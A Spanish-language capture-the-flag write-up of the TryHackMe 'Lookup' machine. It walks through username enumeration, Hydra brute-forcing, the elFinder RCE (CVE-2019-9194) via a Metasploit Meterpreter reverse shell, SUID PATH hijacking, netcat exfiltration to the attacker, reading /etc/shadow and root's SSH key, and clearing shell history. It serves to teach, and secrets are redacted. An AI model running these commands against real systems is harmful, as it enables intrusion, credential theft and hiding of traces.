📰 Cybersecurity 101 - Challenge Lookup - (TryHackMe)

📝 Autor: Arnau Subirós 📅 Fecha: 4 de octubre de 2025 🔖 Nivel: Fácil / Introductorio Advertencia ética : > ⚠️ Este contenido es solo con fines educativos. No está permitido aplicar estas técnicas sin autorización expresa.

💡 TL;DR : Exploté una vulnerabilidad RCE en elFinder (CVE‑2019‑9194) con Metasploit para obtener una sesión Meterpreter como www-data, enumeré usuarios y servicios, y escalé a think y a root mediante PATH hijacking en un binario SUID y la extracción de una clave privada. Todo realizado en un laboratorio (TryHackMe). ⚠️ Solo para entornos autorizado

🛑 Nota sobre IPs y datos sensibles ⚠️

Nota sobre IPs: las IP mostradas son IP de sesión (pueden cambiar entre sesiones) y han sido redactadas en la versión pública por motivos de seguridad

Si en algún caso la IP fuera fija y pública, la omitiré por motivos de seguridad y cumplimiento, y reemplazaré por [REDACTED_IP] o [PRIVATE_KEY_REDACTED]


Login Challenge

Índice de contenido (autoenlaces a secciones)

🔹1. Responder las 5 W

  • What: RCE en elFinder (upload/exiftran)
  • When: 2025-10-04 19:00 CEST
  • Where: files.lookup.thm (resolviendo a la IP de sesión REDACTED_IP de la máquina Lookup)
  • Who: www-data (webshell → meterpreter)
  • Why: Prueba de laboratorio / explotación de vulnerabilidad conocida

🔹2. Entorno de trabajo

🖥️ 2.1 Máquina Atacante

  • Maquina atacante ATTACKBOX
    • IP : REDACTED_IP

🎯 2.2 Máquina Target

  • Máquina víctima lookup.thm
    • IP objetivo : REDACTED_IP
    • Servicios detectados: HTTP y SSH
    • Usuarios objetivo final: think y root

🔧 2.3 Versiones / salida de comandos

### Herramientas y versiones (ejemplos — reemplazar con tus salidas)

#- **Metasploit Framework:** `msfconsole --version`  
  `msf6  (Metasploit Framework 6.4.55-dev) `

# **ffuf:** `ffuf --version`  
  `ffuf v1.3.1`

# **Gobuster:** `gobuster --version`  
  `gobuster v3.6`

# **Hydra:** `hydra -V`  
  `Hydra v9.0`

# **Nmap:** `nmap --version`  
  `Nmap version 7.80`

# **Python:** `python3 --version`  
  `Python 3.8.10` 

# **OpenSSH:** `ssh -V`  
  `OpenSSH_8.2p1 Ubuntu-4ubuntu0.11, OpenSSL 1.1.1f  31 Mar 2020` 

# **Apache (si aplica):** `apache2ctl -v`  
  `Apache/2.4.41 (Ubuntu)`

# Sistema Attackbox ( atacante) :
Distributor ID:	Ubuntu
Description:	Ubuntu 20.04.6 LTS
Release:	20.04
Codename:	focal
Linux REDACTED_IP 5.15.0-124-generic #134~20.04.1-Ubuntu SMP Tue Oct 1 15:27:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
Kernel: Linux 5.15.0-124-generic
Achitecture: x86-64

# Sistema  Lookup ( victima) 
Distributor ID:	Ubuntu
Description:	Ubuntu 20.04.6 LTS
Release:	20.04
Codename:	focal
Linux REDACTED_IP 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
Kernel: Linux 5.15.0-139-generic
Architecture: x86-64


🔹3. Checklist de Tareas

📌3.1 ¿Qué tienes que hacer?

  • Conectar a la red (OpenVPN o AttackBox).
  • Levantar la máquina y obtener la IP.
  • Escaneo de puertos y servicios (nmap).
  • Enumeración de directorios /subdominios ( ffuf)
  • Usando Fuerza Bruta para obtener el password de jose (Hydra).
  • Enumeración de subdominios oculto ( gobuster)
  • Acceso a elFinder (elfinder.html)
  • Búsqueda de módulo Metasploitpara elFinder
  • Ejecución de RCE ( Remote Code Execution)→ Meterpreter
  • Exploración del sistema
  • Escalada de privilegios mediante SUID (pwm) al usuario Think
  • Escalada de privilegios -usuario root


🔹4. Descubrimiento y enumeración (resumen)

➤4.1 Escaneo inicial (nmap)

Hallazgo: Puertos 22/80 abiertos; versiones detectadas.

 nmap -sV --script vuln REDACTED_IP  # IP de sesión de Attackbox
PORT     STATE  SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))

nmap1 nmap2


➤4.2 DNS / acceso inicial

Hallazgo: lookup.thm no resolvía → añadido a /etc/hosts → web accesible.

nano /etc/ hosts

REDACTED_IP lookup.thm

Error pagina Lookup Editar /etc/hosts para lookup.thm Comprobación con ping a lookup.thm Página de login antes/después de hosts


4.3 Enumeración de usuarios (FFUF)

Hallazgo: Detección de usuarios válidos (admin, jose) usando diferencia en Content-Length.(74)

curl -i -s -d 'username=wronguser&password=x' -H 'Content-Type: application/x-www-form-urlencoded' http://lookup.thm/login.php | sed -n '1,10p'
ffuf -u http://lookup.thm/login.php -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'username=FUZZ&password=x' -w /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt:FUZZ -fs 74 -t 12 -p 0.05 -o ./ffuf_results.json

curl lookup wrong user content  ffuf LOOKUP


➤4.4 Usando Hydra ( Fuerza Bruta)

Hallazgo: Credencial válida obtenida para jose.

hydra -l jose -P /usr/share/wordlists/rockyou.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong" -V

# Hydra: 1 objetivo completado, 1 contraseña válida encontrada (credenciales redacted).

hydra al user JOSE


➤4.5 Acceso a elfinder

Hallazgo: files.lookup.thm` → elFinder encontrado; archivos interesantes (credentials.txt, user.txt).

nano /etc/ hosts

REDACTED_IP lookup.thm , files.lookup.thm

error_elfinder ping files.lookup.thm acceso elfinder acceso elfinder


➤4.5 Directorios (Gobuster)

Hallazgo: /elFinder y subdirectorios detectados.

gobuster dir -u http://files.lookup.thm/ -w /usr/share/wordlists/dirb/common.txt -t 50

Gobuster elFinder


🔹5. Explotación inicial (RCE)

Hallazgo: Explotación con módulo Metasploit (elfinder_php_connector_exiftran_cmd_injection) → Meterpreter (www-data).

msfupdate
msfconsole

msf6 > search elfinder
msf6 > use 4   # exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection 
set LHOST  REDACTED_IP  #(IP Attackbox - IP de sesion)
set LPORT 4444
set RHOST files.lookup.thm
set PAYLOAD php/meterpreter/reverse_tcp
set VERBOSE true
run

meterpreter > getuid

meterpreter >  shell
python3 -c 'import pty; pty.spawn("/bin/bash")' 2>/dev/null || python -c 'import pty; pty.spawn("/bin/bash")' 2>/dev/null || true
www-data@:/var/www/files.lookup.thm/public_html/elFinder/php$

modulo Metasploit
Exploit run
Meterpreter getuid


🔹 6.Post‑explotación y enumeración

Hallazgo: Acceso a filesystem; identificación del usuario objetivo think y descubrimiento de user.txt y SUID binaries presentes Carpeta home  user think
Encontrado  SUID pwm


🔹 7.Escalada de privilegios

➤7.1 PATH hijacking (think)

Hallazgo: SUID /usr/sbin/pwm explotado vía PATH hijacking → salida útil para enumerar credenciales.

# Crearemos un ID falso de think   con otro UID   y GUID  en la carpeta /tmp/id
echo '#!/bin/bash' > /tmp/id
echo 'echo "uid=33(think) gid=33(think) groups=(think)"' >> /tmp/id

# accedimos a la carpeta /tmp   y revisamos permisos
cd /tmp
ls -la 

# leemos el archivo para confirmar 
cat id 

#Le damos permisos de ejecución  y revisamos permisos
chmod +x /tmp/id
ls -la
# Alteramos la variable PATH para que primero busque en /tmp
export PATH=/tmp:$PATH

# Ejecutamos el binario SUID
/usr/sbin/pwm

PATH hijacking 1

PATH hijacking 2


#En la maquina atacante , abriremos otro terminal. Activaremos un Listener con   netcar
nc -lnvp 9001 > pwm_list.txt

## puerto 9001
## pwm_lists.txt aun no existe ese archivo

listener

#  Ejecutar pwm y guardar la salida localmente  en el archivo pwm_lists.txt
env -i PATH=/tmp:/usr/bin /usr/sbin/pwm 2>&1 | tee /tmp/pwm_list.txt

pwm local

# Verificamos el archivo antes de enviarlo
head -n 200 /tmp/pwm_list.txtt

pwm  head

# Transferir el archivo desde la víctima al atacante
www-data@ip-10-10-173-83:/tmp$ nc 10.10.173.83 9001 < /tmp/pwm_list.txt
nc 10.10.XX.XXX  9001 < /tmp/pwm_list.txt  ## IP sesion de Attackbox
# Hacemos un CTRL + C para cerrar la sesion del Listener  y  verificamos que se ha creado el archivo  pwm_list.txt

pwm listener

# Transferir el archivo desde la víctima al atacante
www-data@ip-10-10-173-83:/tmp$ nc 10.10.173.83 9001 < /tmp/pwm_list.txt
nc 10.10.XX.XXX  9001 < /tmp/pwm_list.txt  ## IP sesion de Attackbox
# Hacemos un CTRL + C para cerrar la sesion del Listener  y  verificamos que se ha creado el archivo  pwm_list.txt

pwm  descargado Attackbox

# Forzamos  con Hydra  la obteneción del password del usuario think   usando el archivo  pwm_list.txt
hydra -l think -P pwm_list.txt ssh://lookup.thm -t 4 -f -o hydra_results.txt
# Encontramos el password de think

# Accedimos  via  SSH con las credenciales  obtenidas  a lookup.thm
ssh think@lookup.thm
think~$
# Revisamos la carpeta personal
ls -la

## Leemos la información del archivo user.txt 
cat user.txt
[REDACTED]  # omitida por razones de seguridad

hydra user think
ssh think
user Think  flag1


➤7.2 Escalada final a root

Hallazgo: : sudo /usr/bin/look ‘’ /root/.ssh/id_rsa expone clave privada (redactada) → SSH root.

 sudo /usr/bin/look root /etc/shadow
 # /etc/shadow — ejemplo y explicación (redactado)
  root:$6$[REDACTED]:19855:0:99999:7:::

root  clave privada   root  clave privada 2

Creamos un archivo  con la clave privada de root  (REDACTED) — ejemplo ilustrativo, no contiene clave real

think:~$  cat > /tmp/id_rsa <<'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
.........REDACTED........
-----END OPENSSH PRIVATE KEY-----
EOF
think:~$


##  Revismos los  permisos del archivo creado  /tmp/id_rsa
# damos permisos de ejecución   y revisamos permisos
chmod 600  /tmp/id_rsa
ls -la 

permisos id_rsa en /tmp

#Nos conectamos modo root via SSH
ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@1REDACTED_IP

root  ssh

whoami
ls -la
cat root.user.txt
[REDACTED]  # omitida por razones de seguridad

root  flag2

🔹8 Limpieza y buenas prácticas (cleanup)

Acción: Eliminación de artefactos y limpieza de historial tras la sesión.

  ##  Eliminación de artefactos temporales
  rm -f /tmp/id /tmp/pwm_list.txt /tmp/*.log
  history -c
  
 # Intentar eliminar historiales de shell de la sesión
unset HISTFILE          # evita que la sesión actual escriba en el archivo de historial
history -c              # limpia el historial de la sesión actual
rm -f ~/.bash_history   # elimina el archivo de historial (si procede)

⚖️ Advertencias importantes (ética / operativo)

  • Este ejercicio se realizó únicamente en un entorno autorizado (TryHackMe). Borrar rastros en sistemas de terceros sin permiso es ilegal y antiético.
  • No está permitido aplicar estas técnicas fuera de entornos de práctica controlados o sin el consentimiento explícito del propietario del sistema.
  • No borrar ni modificar logs de sistema críticos o de terceros (p. ej. /var/log/syslog, /var/log/auth.log).
  • Documentar siempre los pasos y aprendizajes sin incluir flags ni datos sensibles.
  • Verificar que ningún archivo de sesión (.bash_history, .ssh/, /tmp/) contenga credenciales o claves sin cifrar.
  • Recordar que history -c limpia solo la sesión actual, pero no garantiza eliminar todos los registros; por eso unset HISTFILE + rm ~/.bash_history es más completo — solo en entornos de laboratorio.
  • Mantener los logs y scripts personales únicamente en entornos locales o privados

🔹9 Mitigaciones aplicables alFinder (CVE-2019-9194)

  • Actualizar elFinder ≥ 2.1.48
  • Deshabilitar el conector PHP si no se usa
  • Proteger el acceso con autenticación
  • Revisar dependencias que invoquen exiftran

🔹10 Lecciones aprendidas

  • elFinder es un gestor de archivos web vulnerable a RCE y se pudo explotar su vulnerabilidad ya que no estaba actualizado.
  • Meterpreter facilita la exploración y ejecución de comandos.
  • Importancia de validar respuestas base antes de fuzzing.
  • Detectar vhosts ocultos (gobuster, ffuf) es clave.
  • Cómo un redirect HTTP puede revelar subdominios ocultos.
  • El uso de PATH malicioso + binarios SUID es un método efectivo en laboratorios de escalada de privilegios.
  • Es buena práctica redirigir la salida con tee o nc para no perder información crítica.
  • La combinación de enumeración web, explotación y escalada SUID es un flujo clásico de Boot2Root.
  • ⚠️ Recordatorio de limpiar artefactos tras la explotación

🔹11 Notas de seguridad

  • Todas las IPs, llaves y credenciales han sido redactadas en esta versión pública.
  • No phay que publicar claves privadas ni información que pueda comprometer a terceros.
  • Si se comparten imágenes, asegúrate de que estén retocadas (blur/redact) para ocultar datos sensibles.
  • Este material es solo para fines educativos y debe usarse únicamente en entornos autorizados

🔹12 Skills demostradas

  • Herramientas: Metasploit, Meterpreter, nmap, ffuf, Hydra, Gobuster.
  • Técnicas: SUID escalation, PATH hijacking, manejo de claves SSH, fuerza bruta web.
  • Mapeo MITRE (ejemplos relacionados): TA0001 (Initial Access), TA0006 (Credential Access), TA0004 (Privilege Escalation), TA0008 (Lateral Movement).